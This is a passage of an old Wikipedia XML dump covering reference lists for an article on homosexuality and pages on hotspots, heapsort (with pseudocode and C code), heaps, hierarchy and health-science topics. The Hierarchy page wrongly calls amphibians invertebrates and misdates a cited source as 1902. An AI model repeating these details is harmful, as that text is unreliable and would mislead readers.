# {{note|sydney}} [http://www.smh.com.au/news/world/afghan-tribesman-faces-death-for-wedding-to-teenage-boy/2005/10/06/1128562943177.html# Afghan tribesman faces death for wedding to teenage boy], Peter Foster, ''Sydney Morning Herald'', October 7, 2005
# {{note|daily_times}} [http://www.dailytimes.com.pk/default.asp?page=story_6-10-2005_pg1_5 Man weds boy in Khyber Agency], ''Daily Times'', October 6, 2005
# {{note|fabricated}} [http://www.khyber.org/articles/2005/GayMarriageReportFabricated.shtml Gay Marriage Report Fabricated], Kashmir Khan Afridi
# Christopher Bagley and Pierre Tremblay, (1998), &quot;On the Prevalence of Homosexuality and Bisexuality, in a Random Community Survey of 750 Men Aged 18 to 27&quot;, ''Journal of Homosexuality'', Volume 36, Number 2, pages 1-18.
# Lester G. Brown, ''Two Spirit People'', 1997, Harrington Park Press, ISBN 1-56023-089-4
# Kenneth J. Dover, ''Greek Homosexuality'', 1979, Gerald Duckworth &amp;amp; Co. Ltd., London, ISBN 0674362616 (o.p. hardcover), ISBN 0674362705 (pbk.).
# Bret Hinsch, ''Passions of the Cut Sleeve: The Male Homosexual Tradition in China'', The University of California Press, 1990, ISBN 0-520-06720-7.
# Norman Roth.  ''The care and feeding of gazelles - Medieval Arabic and Hebrew love poetry.'' IN: Lazar &amp; Lacy. ''Poetics of Love in the Middle Ages''. George Mason University Press, 1989.
# Arno Schmitt &amp; Jehoeda Sofer (eds). ''Sexuality and Eroticism Among Males in Moslem Societies''. Haworth Press, 1992. 
# LeVay, S., Science, 1991, 253, 1034?1037.
# Stephen O. Murray and Will Roscoe, ''Boy Wives and Female Husbands: Studies of African Homosexualities,'' 1998, ISBN 031221216X.
# Bullough et al. (eds.) (1996). Handbook of Medieval Sexuality. Garland Publishing. ISBN 0815312873.
# Foucault, Michel (1990). ''The History of Sexuality'' vol. 1: ''An Introduction'', p.43. Trans. Robert Hurley. New York: Vintage.
# James Davidson, ''[[London Review of Books]]'', [[2 June]] 2005, [http://www.lrb.co.uk/v27/n11/davi02_.html &quot;Mr and Mr and Mrs and Mrs&quot;] - detailed review of ''The Friend'', by Alan Bray, a history of same-sex marriage and other same-sex formal bonds
# [http://usrainbowpages.com/scientificgay/index.php?cat=50 Scientific Gay]
# [http://news.bbc.co.uk/1/hi/health/3735668.stm Genetics of homosexuality]
# [http://www.hiddensexdirectory.com Homosexuality and Transgender Surgery]
# [http://news.bbc.co.uk/1/hi/sci/tech/55169.stm Fingerprints Study]
# [http://my.webmd.com/content/article/22/1728_56075?src=Inktomi&amp;condition=Home%20&amp;%20Top%20Stories Androgen Link]
# [http://news.bbc.co.uk/2/hi/science/nature/325979.stm Doubt cast on 'gay gene']
# Robert T. Michael, John H. Gagnon, Edward O. Laumann, and Gina Kolata. Sex in America: A definitive survey. Boston: Little, Brown, 1995. ISBN 0316075248
# [http://www.williamapercy.com Percy, William A]  [http://williamapercy.com/pub-Peder.htm ''Pederasty and Pedagogy in Archaic Greece.'']  University of Illinois Press, 1996.
# Bullough, Vern L. [http://williamapercy.com/pub-Stonewall.htm ''Before Stonewall:  Activists for Gay and Lesbian Rights in Historical Context,''] Harrington Park Press, 2002.
# Johansson, Warren and [http://www.williamapercy.com Percy, William A]. [http://williamapercy.com/pub-Outing.htm ''Outing:  Shattering the Conspiracy of Silence,''] Harrington Park Press, 1994.
# Dynes, Wayne R. (ed.) [http://williamapercy.com/pub-EncyHom.htm ''The Encyclopedia of Homosexuality'']  New York and London, Garland Publishing, 1990

[[Category:LGBT]]
[[Category:Sexual orientation and identity]]
[[Category:Sexual orientation]]
[[Category:Gender]]
[[Category:Issue in the Culture Wars]]

[[ar:مثلية]]
[[ast:Homosexualidá]]
[[bg:Хомосексуалност]]
[[ca:Homosexualitat]]
[[cs:Homosexualita]]
[[da:Homoseksualitet]]
[[de:Homosexualität]]
[[el:Ομοφυλοφιλία]]
[[eo:Samseksemo]]
[[es:Homosexualidad]]
[[fa:همجنس‌گرایی]]
[[fi:Homoseksuaalisuus]]
[[fr:Homosexualité]]
[[gd:Co-sheòrsachd]]
[[gl:Homosexualidade]]
[[he:הומוסקסואליות]]
[[hu:Homoszexualitás]]
[[it:Omosessualità]]
[[ja:性的指向]]
[[ko:동성애]]
[[lt:Homoseksualai]]
[[mk:Хомосексуалност]]
[[ms:homoseksual]]
[[nl:Homoseksualiteit]]
[[no:Homofili]]
[[pl:Homoseksualizm]]
[[pt:Homossexualidade]]
[[ro:Homosexualitate]]
[[ru:Гомосексуальность]]
[[simple:Homosexuality]]
[[sk:Homosexualita]]
[[sl:Homoseksualnost]]
[[sv:Homosexualitet]]
[[vi:Đồng tính luyến ái]]
[[zh:同性戀]]</text>
    </revision>
  </page>
  <page>
    <title>Hotspot</title>
    <id>13994</id>
    <revision>
      <id>38724229</id>
      <timestamp>2006-02-08T05:02:44Z</timestamp>
      <contributor>
        <ip>63.224.228.15</ip>
      </contributor>
      <text xml:space="preserve">A '''hot spot''' forms a region of high or special activity within a larger area of low or normal activity. The term applies to different things in different contexts:

* [[Hotspot (geology)]], a location that has experienced active volcanism for a long time
* [[DNA]] has positions called &quot;hotspots&quot; where mutations occur very frequently
* [[Biodiversity hotspot]], a region of significant biodiversity threatened with destruction
* [[Hotspot (wifi)]], a Wi-Fi access point or area, in particular for connecting to the Internet
* ''[[Hot Spot (musical)|Hot Spot]]'', a 1963 musical with lyrics by Martin Charnin and music by Mary Rodgers
* ''[[The Hot Spot]]'', a 1990 film with Don Johnson and Jennifer Connelly
* [[Screen hotspot]]s, especially in GUI applications, provide areas on which computer-users click or hover for extra information-processing
* [[HotSpot]], the primary Java Virtual Machine produced by Sun Microsystems
*[[Hotspot (character)|Hotspot]], a character in the ''[[Teen Titans (animated series)|Teen Titans]]'' animated series

{{disambig}}
[[da:Hot spot]]
[[de:Hot-Spot]]
[[es:Hotspot]]
[[et:Kuum punkt]]
[[ja:&amp;#12507;&amp;#12483;&amp;#12488;&amp;#12473;&amp;#12509;&amp;#12483;&amp;#12488;]]
[[pl:Plama gor&amp;#261;ca]]
[[zh:HotSpot]]</text>
    </revision>
  </page>
  <page>
    <title>Heapsort</title>
    <id>13995</id>
    <revision>
      <id>41158148</id>
      <timestamp>2006-02-25T12:06:01Z</timestamp>
      <contributor>
        <username>Ycl6</username>
        <id>785799</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Heapsort''' is one of the best general-purpose [[sort algorithm]]s, a [[comparison sort]] and part of the [[selection sort]] family. Although somewhat slower in practice on most machines than a good implementation of [[quicksort]], it has the advantages of worst-case [[big O notation|'''O''']](''n'' log ''n'') runtime and being an [[in-place algorithm]]. Heapsort is not a [[stable sort]].

== Overview ==
One simple way to sort a list of objects is to use a [[heap (data structure)|heap]] data structure. We add all of our objects into the heap, and the heap organizes the elements added to it in such a way that we can quickly extract either the largest value (in a max-heap) or the smallest value (in a min-heap). Moreover, because this operation preserves the heap's structure, we can extract the largest/smallest value over and over again until none remain. This gives us the elements in order.

In doing so, the only extra space required is that needed to store the heap. In order to achieve constant space overhead, we use a trick: we store a [[binary heap]] (or alternatively, a heap with more than two children) inside the part of the input array which has not yet been sorted. (The structure of this heap is described at [[Binary heap#Heap implementation|Binary heap: Heap implementation]].) Heapsort makes use of two standard heap operations: ''insertion'' and ''root deletion''. Each time we delete (extract) the maximum, we place it in the last location of the array not yet occupied, and use the remaining prefix of the array as a heap holding the remaining unsorted elements:
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;
|Heap of remaining unsorted elements
|Sorted elements
|}

== Variations ==
Although not widely known, it is possible to define a ternary heapsort which uses a ternary heap instead of a binary heap; that is, each element in the heap has three children. Ternary heapsort is somewhat more complicated to program, but it is potentially faster. Each step in the sift operation of a ternary heap requires three comparisons and one swap, whereas in a binary heap two comparisons and one swap are required. The ternary heap can do two steps in less time than the binary heap requires for three steps. But two steps of a ternary tree multiply the index by a factor of 9, which is more than the factor 8 of three binary steps. Ternary heapsort is about 12% faster than binary heapsort.

== Comparison with other sorts ==
Heapsort primarily competes with [[quicksort]], another very efficient general purpose nearly-in-place comparison-based sort algorithm.

Quicksort is typically somewhat faster, due to better cache behavior and other factors, but the worst-case running time for quicksort is O(''n''&lt;sup&gt;2&lt;/sup&gt;), which is unacceptable for large data sets and can be deliberately triggered given enough knowledge of the implementation, creating a security risk. See [[quicksort]] for a detailed discussion of this problem, and possible solutions.

The quicksort algorithm also requires &amp;Omega;(log ''n'') extra storage space, making it not a strictly in-place algorithm. This typically does not pose a problem except on the smallest [[embedded system]]s, or on systems where memory allocation is highly restricted. Constant space (in-place) variants of quicksort are possible to construct, but are rarely used in practice due to their extra complexity.

Thus, because of the O(''n'' log ''n'') upper bound on heapsort's running time and constant upper bound on its auxiliary storage, embedded systems with [[real-time]] constraints or systems concerned with security often use heapsort.

Heapsort also competes with [[merge sort]], which has the same time bounds, but requires &amp;Omega;(n) auxiliary space, whereas heapsort requires only a constant amount. Heapsort also typically runs more quickly in practice on machines with small or slow [[data cache]]s. On the other hand, merge sort has several advantages over heapsort:
* Like quicksort, merge sort on arrays has considerably better data cache performance, often outperforming heapsort on a modern desktop PC, because it accesses the elements in order.
* Merge sort is simpler to understand than heapsort.
* Merge sort is a [[stable sort]].
* Merge sort [[parallel algorithm|parallelizes better]]; the most trivial way of parallelizing merge sort achieves close to [[linear speedup]], while there is no obvious way to parallelize heapsort at all.
* Merge sort can be easily adapted to operate on [[linked list]]s and very large lists stored on slow-to-access media such as [[disk storage]] or [[network attached storage]]. Heapsort relies strongly on [[random access]], and its poor [[locality of reference]] makes it very slow on media with long access times.

== Implementation in pseudocode ==

The following is one way to implement the algorithm, in pseudocode, where ''swap'' is used to swap two elements of the array. Notice that the arrays are '''zero-based''' in this example.

  '''function''' heapSort(a, count) {
      '''var''' ''int'' start := count &amp;divide; 2 - 1, end := count - 1
 
      '''while''' start &amp;ge; 0
          sift(a, start, count)
          start := start - 1
 
      '''while''' end &gt; 0
          swap(a[end], a[0])
          sift(a, 0, end)
          end := end - 1
  }
  
  '''function''' sift(a, start, count) {
      '''var''' ''int'' root := start, child
 
      '''while''' root * 2 + 1 &lt; count {
          child := root * 2 + 1
          '''if''' child &lt; count - 1 '''and''' a[child] &lt; a[child + 1]
              child := child + 1
          '''if''' a[root] &lt; a[child]
              swap(a[root], a[child])
              root := child
          '''else'''
              '''return'''
      }
  }

== Implementation in C ==
This is a fast implementation of heapsort in C, adapted from ''Numerical Recipes in C'' but designed to be slightly more readable and to index from &lt;tt&gt;0&lt;/tt&gt;.

  '''void''' heapsort('''int''' arr[], '''unsigned int''' N)
  {
      '''unsigned int''' n = N, i = n/2, parent, child;
      '''int''' t;
  
      '''for''' (;;) {
          '''if''' (i &gt; 0) {
              i--;
              t = arr[i];
          } '''else''' {
              n--;
              '''if''' (n == 0) '''return''';
              t = arr[n];
              arr[n] = arr[0];
          }
  
          parent = i;
          child = i*2 + 1;
  
          '''while''' (child &lt; n) {
              '''if''' (child + 1 &lt; n  &amp;&amp;  arr[child + 1] &gt; arr[child]) {
                  child++;
              }
              '''if''' (arr[child] &gt; t) {
                  arr[parent] = arr[child];
                  parent = child;
                  child = parent*2 + 1;
              } '''else''' {
                  '''break''';
              }
          }
          arr[parent] = t;
      }
  }

== References ==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 3: ''Sorting and Searching'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89685-0. Pages 144&amp;ndash;155 of section 5.2.3: Sorting by Selection.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Chapter 6: Heapsort, pp.123&amp;ndash;144.

== External links ==
 
* [http://www2.hawaii.edu/~copley/665/HSApplet.html Heapsort animated] 
* [http://www.nist.gov/dads/HTML/heapSort.html NIST's Dictionary of Algorithms and Data Structures: Heapsort]
* [http://www.azillionmonkeys.com/qed/sort.html Sorting revisited]
* [http://www-cse.uta.edu/~holder/courses/cse2320/lectures/applets/sort1/heapsort.html Heapsort Animation]
* [http://ironbark.bendigo.latrobe.edu.au/subjects/DS/mal/lecture170/lecture.html Heapsort Lecture]

[[Category:Sort algorithms]]

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    <title>Heap (data structure)</title>
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      <text xml:space="preserve">In [[computer science]], a '''heap''' is a specialized [[tree data structure|tree]]-based [[data structure]]. Its base datatype (used for node keys) must be an [[ordered set]].

Let ''A'' and ''B'' be nodes of a heap, such that ''B'' is a [[Child node|child]] of ''A''. The heap must then satisfy the following condition (''heap property''):

: key(''A'') &amp;ge; key(''B'')

[[Image:Max-heap.png|thumb|right|240px|Example of a Complete Binary Max Heap]]

This is the only restriction of general heaps. In this form it implies that the greatest element is always in the root node, and such a heap is sometimes called a ''max heap''. (Alternatively, if the comparison is reversed, the smallest element is always in the root node, which results in a ''min heap''.) Due to this fact, heaps are used to implement [[priority queue]]s. The efficiency of heap operations is crucial in several [[graph theory|graph]] [[algorithm]]s.

The operations commonly performed in a heap are
*''delete-max'' or ''delete-min'': removing the root node of a max- or min-heap, respectively,
*''decrease-key'': updating a key within the heap, and
*''insert'': adding a new key to the heap.
*''merge'': joining two heaps to form a valid new heap containing all the elements of both.

Heaps are used in the sorting algorithm called [[heapsort]].

==Variants==
*[[Binary heap]]
*[[Binomial heap]]
*[[Fibonacci heap]]
*[[Pairing heap]]
*[[Leftist tree|Leftist heap]]
*[[Soft heap]]
*[[2-3 heap]]
*[[Treap]]
*[[Beap]]
*[[Skew heap]]

==Comparison of theoretic bounds for variants==
Function names assume a min-heap:

{|  class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; style=&quot;border-collapse:collapse&quot;
|- style=&quot;background-color:#e9e9e9&quot; |
! rowspan=&quot;2&quot; | Operation 
! Binary 
! Binomial 
! Fibonacci 
!!colspan=&quot;2&quot; | Pairing 
! Leftist 
! Soft 
! 2-3 
! Treap 
! Beap
|- style=&quot;background-color:#e9e9e9&quot; |
! worst-case 
! worst-case 
! amortized 
! worst-case 
! amortized
! amortized !! !! !! 
|-
| find-min 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt;
|| O&lt;math&gt;(1)&lt;/math&gt; ||  ||  || 
|-
| delete-min 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(n)&lt;/math&gt; 
|| O&lt;math&gt;(\log n)&lt;/math&gt;
|| O&lt;math&gt;(1)&lt;/math&gt; ||  ||  || 
|-
| insert 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; or O&lt;math&gt;(\log n)&lt;/math&gt;
|| O&lt;math&gt;(1)&lt;/math&gt;  ||  ||  ||
|-
| decrease-key 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; or O&lt;math&gt;(\log n)&lt;/math&gt;
|| O&lt;math&gt;(1)&lt;/math&gt; ||  ||  || 
|-
| merge 
|| O&lt;math&gt;(n)&lt;/math&gt; 
|| O&lt;math&gt;(\log n)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; 
|| O&lt;math&gt;(1)&lt;/math&gt; or O&lt;math&gt;(\log n)&lt;/math&gt;
|| O&lt;math&gt;(1)&lt;/math&gt; ||  ||  || 
|}

For [[pairing heap]]s the ''insert'', ''decreaseKey'' and ''merge'' operations are conjectured to be O&lt;math&gt;(1)&lt;/math&gt; amortized complexity but this has not yet been proven.

==Heap applications==
Heaps are favourite data structures for many applications.
* [[Heap sort]]: One of the best sorting methods being in-place and with no quadratic worst case scenarios.
* [[Selection algorithm]]s: Finding the min, max or both of them, median or even any ''k''-th element in sublinear time can be done dynamically with heaps.
* [[List_of_algorithms#Graph_algorithms|Graph algorithms]]: By using heaps as internal traversal data structures, run time will be reduced by an order of polynomial. Examples of such problems are kruskal's minimal spanning tree algorithm and Dijikstra's shortest path problem.

One more advantage of heap over tree in some applications is construction of heap can be done in linear time using Tarjan's algorithm.

==See also==
*[[Wikibooks:Wikiversity:Data_Structures|Heaps at Wikiversity]]
*[[Wikibooks:Computer_Science:Data_Structures:Min_and_Max_Heaps|Heaps at wikibooks]]

==External links==
*[http://leekillough.com/heaps/ Priority Queues] by [[Lee Killough (programmer)|Lee Killough]]

[[Category:Data structures]]
[[Category:Trees (structure)]]

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      <text xml:space="preserve">{{split}}
:''For the various types of hierarchy, see [[hierarchy (disambiguation)]]''

A '''hierarchy''' (in [[Greek language|Greek]]: '''Ιεραρχία''', it is derived from ''ιερός''-hieros, sacred, and ''άρχω''-arkho, rule) is a system of ranking and organizing things or people, where each element of the system (except for the top element) is subordinate to a single other element.

The first appearance of &quot;hierarchy&quot; in the [[Oxford English Dictionary]] was in 1380, where it was used in reference to the three orders of three angels as depicted by [[Pseudo-Dionysius the Areopagite]]. Areopagite used the word both in reference to the heavenly hierarchy and the ecclesiastical hierarchy [http://www.newadvent.org/cathen/07322c.htm]. This was the origin of the common meaning of &quot;rule by [[priest]]s&quot;.  Since hierarchical [[church]]es, such as the [[Roman Catholicism|Roman Catholic]] and [[Eastern Orthodoxy|Eastern Orthodox]] churches, had tables of organization that were &quot;hierarchical&quot; in the modern sense of the word (traditionally with [[God]] as the pinnacle of the hierarchy), the term came to refer to similar organizational methods in more general settings.

A hierarchy can link entities either directly or indirectly, and either vertically or horizontally. The only direct links in a hierarchy are to one's immediate superior, or to one of one's subordinates. However, indirect links can extend &quot;vertically&quot; upwards or downwards via multiple links in the same direction. All parts of the hierarchy which are not vertically linked to one another can nevertheless be &quot;horizontally&quot; linked by travelling up the hierarchy to find a common direct or indirect superior, and then down again. This is akin to two co-workers, neither of whom is the other's boss, but both of whose chains of command will eventually meet.

These relationships can be formalized mathematically; see [[hierarchy (mathematics)]].

== Diverse examples of reasoning with hierarchies ==

*COMPUTATION and ELECTRONICS: Large [[electronics|electronic]] devices such as [[computer]]s are usually composed of modules, which are themselves created out of smaller components ([[integrated circuit]]s), which in turn are internally organized using hierarchical methods (e.g. using standard cells). The order of tasks in a computational [[algorithm]] is often managed hierarchically, with repeated loops nested within one another. [[Computer file]]s in a [[file system]] is stored in a hierarchy of [[directory|directories]] in most [[operating system]]s. In [[object-oriented]] programming, classes are organized hierarchically; the relationship between two related classes is called [[inheritance-oop|inheritance]]. In the [[Internet]], [[IP address]]es are increasingly organized in a [[Classless inter-domain routing|hierarchy]] (so that the [[routing]] will continue to function as the Internet grows). 

*BIOLOGICAL TAXONOMY: In [[biology]], the study of [[taxonomy]] is one of the most conventionally hierarchical kinds of knowledge, placing all living beings in a nested structure of divisions related to their probable evolutionary descent. Most evolutionary biologists assert a hierarchy extending from the level of the specimen (an individual living organism -- say, a single newt), to the species of which it is a member (perhaps the [[Eastern Newt]]), outward to further successive levels of [[genus]], family, order, class, phylum, and kingdom. (A newt is a kind of salamander (family), and all salamanders are types of amphibians (class), which are all types of invertebrates (phylum).) Essential to this kind of reasoning is the proof that members of a division on one level are more closely related to one another than to members of a different division on the same level; they must also share ancestry in the level above. Thus, the system is hierarchical because it forbids the possibility of overlapping categories. For example, it will not permit a 'family' of beings containing some examples that are amphibians and others that are reptiles--divisions on any level do not straddle the categories of structure that are hierarchically above it.  (Such straddling would be an example of [[heterarchy]].) 

*PHYSIOLOGY: [[Organisms]] are also commonly described as assemblies of parts (organs) which are themselves assemblies of yet smaller parts. When we observe that the relationship of cell to organ is like that of the relationship of organ to body, we are invoking the hierarchical aspects of physiology. (The term &quot;organic&quot; is often used to describe a sense of the small imitating the large, which suggests hierarchy, but isn't necessarily hierarchical.) The analogy of organ to body also extends to the relationship of a living being as a system that might resemble an [[ecosystem]] consisting of several living beings; physiology is thus hierarchically nested in [[ecology.]]

*PHYSICS: In [[physics]], the [[standard model]] of reasoning on the nature of the physical world decomposes large bodies down to their smallest [[particle]] components. Observations on the subatomic (particle) level are often seen as fundamental constituent axioms, on which conclusions about the atomic and molecular levels depend.  The relationships of energy and gravity between celestial bodies are, in turn, dependent upon the atomic and molecular properties of smaller bodies.

* LANGUAGE and SEMIOTICS: In [[linguistics]], especially in the work of Noam [[Chomsky]], and of later [[generative linguistics]] theories, such as [[Ray Jackendoff]]'s, words or sentences are often broken down into hierarchies of parts and wholes. Hierarchical reasoning about the underlying structure of language expressions leads some linguists to the hypothesis that the world's languages are bound together in a broad array of variants subordinate to a single [[Universal Grammar]].

*MUSIC: In music, the structure of a composition is often understood hierarchically (for example by Heinrich [[Schenker]] (1868-1935), and in the (1985) Generative Theory of Tonal Music, by composer Fred Lerdahl and linguist Ray [[Jackendoff]]). The sum of all notes in a piece is understood to be an all-inclusive surface, which can be reduced to successively more sparse and more fundamental types of motion.  The levels of structure that operate in Schenker's theory are the foreground, which is seen in all the details of the musical score; the middle ground, which is roughly a summary of an essential contrapuntal progression and voice-leading; and the background or [[Ursatz]], which is one of only a few basic &quot;long-range counterpoint&quot; structures that are shared in the gamut of tonal music literature. [[Susan McClary]] connects formal hierarchies in music, specifically in the [[sonata-allegro form]], to a hierarchy of gender (see above) in her book Feminine Endings, pointing out that primary themes were often previously called &quot;masculine&quot; and secondary themes &quot;feminine.&quot; (Although this hierarchy suggests male dominance, she also points out that in order to complete the form by unifying the themes in a single key in the [[recapitulation]], the masculine theme is usually truncated, in a possible metaphor for castration.)

*ETHICS, BEHAVIORAL PSYCHOLOGY, PHILOSOPHIES of IDENTITY: In [[ethics]], various [[virtues]] are enumerated and sometimes organized hierarchically according to certain brands of [[virtue theory]].

In all of these examples, there is an asymmetry of 'compositional' significance between levels of structure, so that small parts of the whole hierarchical array depend, for their meaning, on their membership in larger parts.

In the work of diverse theorists such as [[William James]] (1842-1910), [[Michel Foucault]] (1926-1984) and [[Hayden White]], important critiques of hierarchical [[epistemology]] are advanced.  James famously asserts in his work &quot;Radical Empiricism&quot; that clear distinctions of type and category are a constant but unwritten goal of scientific reasoning, so that when they are discovered, success is declared. But if aspects of the world are organized differently, involving inherent and intractable ambiguities, then scientific questions are often considered unresolved. A hesitation to declare success upon the discovery of ambiguities leaves [[heterarchy]] at an artificial and subjective disadvantage in the scope of human knowledge. This bias is an artifact of an aesthetic or pedagogical preference for hierarchy, and not necessarily an expression of objective observation.

== Hierarchies in programming ==

The concept of hierarchies plays a large part in [[object oriented programming]]. For more information see [[Hierarchy (object-oriented programming)]] and [[memory hierarchy]].

== Containment hierarchy ==
{{main|containment hierarchy}}

A containment hierarchy is a collection of strictly nested sets.  Each entry in the hierarchy designates a set such that the previous entry is a strict superset, and the next entry is a strict subset.  For example, all rectangles are quadrilaterals, but not all quadrilaterals are rectangles, and all squares are rectangles, but not all rectangles are squares. (See also: [[Taxonomy]].)

* In geometry: [[shape]], [[polygon]], [[quadrilateral]], [[rectangle]], [[Square (geometry)|square]]
* In biology: [[animal]], [[bird]], [[bird of prey|raptor]], [[eagle]], [[golden eagle]]
* The [[Chomsky hierarchy]] in formal languages: recursively enumerable, context-sensitive, context-free, and regular
* In physics: [[particle]], [[elementary particle]], [[fermion]], [[lepton]], [[electron]]

== Social hierarchies ==
{{main|Social hierarchy}}

Many human [[organization]]s, such as [[business]]es, churches, armies and political movements are [[hierarchical organization]]s, at least officially; commonly superiors, called &quot;bosses&quot;, have more [[power (sociology)|power]] than their subordinates. Thus the relationship defining this hierarchy is &quot;commands&quot; or &quot;has power over&quot;. (Some analysts question whether power &quot;really&quot; works as the traditional organizational chart indicates, however.) See also [[chain of command]].

Some social insect species (bees, ants, termites) depend on matrilineal hierarchies centred on a queen with undeveloped female insects as attendants and workers. 

Many social criticisms include a questioning of social hierarchies seen as being unjust. [[Feminism]], for instance, often discusses a hierarchy of gender, in which a culture sees males or masculine traits as superior to females or feminine traits.

In the terms above, some feminism criticizes a hierarchy of only two nodes, &quot;masculine&quot; and &quot;feminine&quot;, connected by the asymmetrical relationship &quot;is more valuable to society&quot;, for example:
:The hierarchical nature of the dualism - the systematic devaluation of females and whatever is metaphorically understood as &quot;feminine&quot; - is what I identify as sexism. (Nelson 1902p. 106)

Note that in this context and in other social criticisms, the word ''hierarchy'' usually is used as meaning ''power hierarchy'' or ''power structure.'' Feminists may not take issue with inanimate objects being organized in a hierarchical fashion, but rather with the specific asymmetrical organization of unequal value and power between men and women and, usually, other social hierarchies such as in [[racism]] and [[anti-gay bias]].

== Alternatives ==
Hierarchies and hierarchical thinking has been criticized by many people, as above in [[#Social hierarchies]] and [[#Hierarchical nomenclatures in the arts and sciences]]. Possible alternatives include:

* [[Democracy]] - [[Command hierarchy]] and [[Workplace democracy]]
* [[Anarchy (word)|Anarchy]] as a social/political theory and practice
* [[selective hierarchy]] whereby discrete entities may be placed 'under' or 'over' any number of other entities.  For information managers that use this type of organization, see [http://www.mdesoft.com Infohandler] or [http://www.webbrain.com/ The Brain]

== References ==
* Julie Nelson (1992). &quot;Gender, Metaphor and the Definition of Economics&quot;. ''Economics and Philosophy'', 8:103-125.

== See also ==
* [[Linnaean taxonomy]]
* [[Tree structure]]
* [[Classes (computer science)|Classes]]
* [[Chomsky hierarchy]]
* [[Confucianism]]
* [[Maslow's hierarchy of needs]]
* [[Hierarchy of roads]]
* [[Heterarchy]]
* [[Holarchy]]
* [[Unity of command]]
* [[Outliner]] software
* [[Degrees of consanguinity]]

== External links ==

* [http://www.isss.org/hierarchy.htm Principles and annotated bibliography of hierarchy theory]
* [http://www.nbi.dk/~natphil/salthe/hierarchy_th.html  Summary of the Principles of Hierarchy Theory] - S.N. Salthe

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      <text xml:space="preserve">#REDIRECT [[History of science and technology]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic health sciences topics</title>
    <id>14002</id>
    <revision>
      <id>41618347</id>
      <timestamp>2006-02-28T15:33:50Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>removing link [[Doctor]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">Below is a list of basic topics in '''[[health science]]''' -- topics which will help the beginner become familiar with the field of health science.  For a comprehensive list, see [[List of health sciences topics]].

==General topics==
[[health]] - 
[[disease]] - 
doctor - 
[[physician]] - 
[[surgery|surgeon]] - 
[[surgery]] - 
[[healing]] - 
[[healer]] - 
[[witch-doctor]] -
[[hospital]] - 
[[nurse]] -
[[medication]] -
[[operation]] -
[[Public Health]] -

==Diagnostic methods==
[[physical examination]] - 
[[medical history]] - 
[[auscultation]] - 
[[stethoscope]] - 
[[Percussion (medicine)|percussion]] - 
[[medical imaging]] - 
[[X-ray]] - 
[[medical ultrasonography]] -
[[blood work]] -

Medical specialities by organ system:

== Cardiology ==
*[[Congenital heart disease]]
** [[ASD]], [[VSD]], [[Aortic coarctation]], [[Tetralogy of Fallot]]
*[[Myocarditis]]
*[[Rheumatic heart disease]]
*[[Coronary heart disease]]
*[[Cardiac arrhythmia]]s

== Respiratory ==
*[[Pneumonia]]
*[[Bronchitis]]
*[[Tuberculosis]]
*[[Asthma]]
*[[Lung cancer]]
*[[Allergy]]

== Gastrointestinal ==
*[[Oesophagus]]
*[[Gastroesophageal reflux disease|Heartburn]]
*[[Gastroesophageal reflux disease|Reflux esophagitis]]
*[[Gastroesophageal reflux disease|Barretts disease]]
*[[Hiatus hernia]]
*[[Cancer of oesophagus]]
*[[Oesophageal pouch]]
*[[Achalasia]]

=== Stomach ===
*[[Gastric ulcer]]
*[[stomach cancer]]
*[[Helicobacter pylori]]
*[[GERD]]
*[[Mallory-Weiss syndrome]]
*[[Zollinger-Ellison syndrome]]

=== Small bowel ===
[[Duodenal atresia]] ~ 
[[Giardiasis]] ~ 
[[Coeliac disease]] ~ 
[[Crohn's disease]] ~ 
[[Intestinal volvulus]] ~ 
[[Lymphoma]] ~ 
[[Meckel's diverticulum]] ~ 
[[Malabsorption]] ~ 

=== Appendix ===
*[[Appendicitis]]
*[[Carcinoid tumour]]

=== Colon ===
*[[Infective colitis]]
*[[Intestinal volvulus]]
*[[Hirschprung disease]]
*[[Ulcerative colitis]]
*[[Cancer]]
*[[Crohn's disease]]
*[[Diverticulitis]]
*[[Diarrhea]]
*[[Irritable bowel syndrome]] or [[IBS]]

== Liver ==
*[[Viral hepatitis]]
*[[Nonviral hepatitis]]
*[[Hepatocarcinoma]]
*[[Metastatic tumor]]
*[[Jaundice]]
*[[Liver transplant]]

=== Gallbladder ===
*[[Gallstones]]
*[[Cholecystitis]]
*[[Gallbladder cancer]]

== Endocrine disease ==

=== Thyroid ===
*[[Thyroiditis]]
** [[Hashimoto thyroididtis]], [[autoimmune thyroid disease]]
*[[Hypothyroidism]]
*[[Graves Disease]]
*[[Thyroid cancer]]

=== Parathyroid disease ===
*[[Hyperparathyroidism]]
*[[Hypoparathyroidism]]

=== Pituitary hormones ===
*[[Acromegaly]]
*[[Prolactinoma]]
*[[Pituitary tumours]]
*[[gigantism]]
*[[dwarfism]]

=== Adrenal cortex ===
*[[Cushing's disease]]
*[[Conn's syndrome]]
*[[Adrenal failure]]

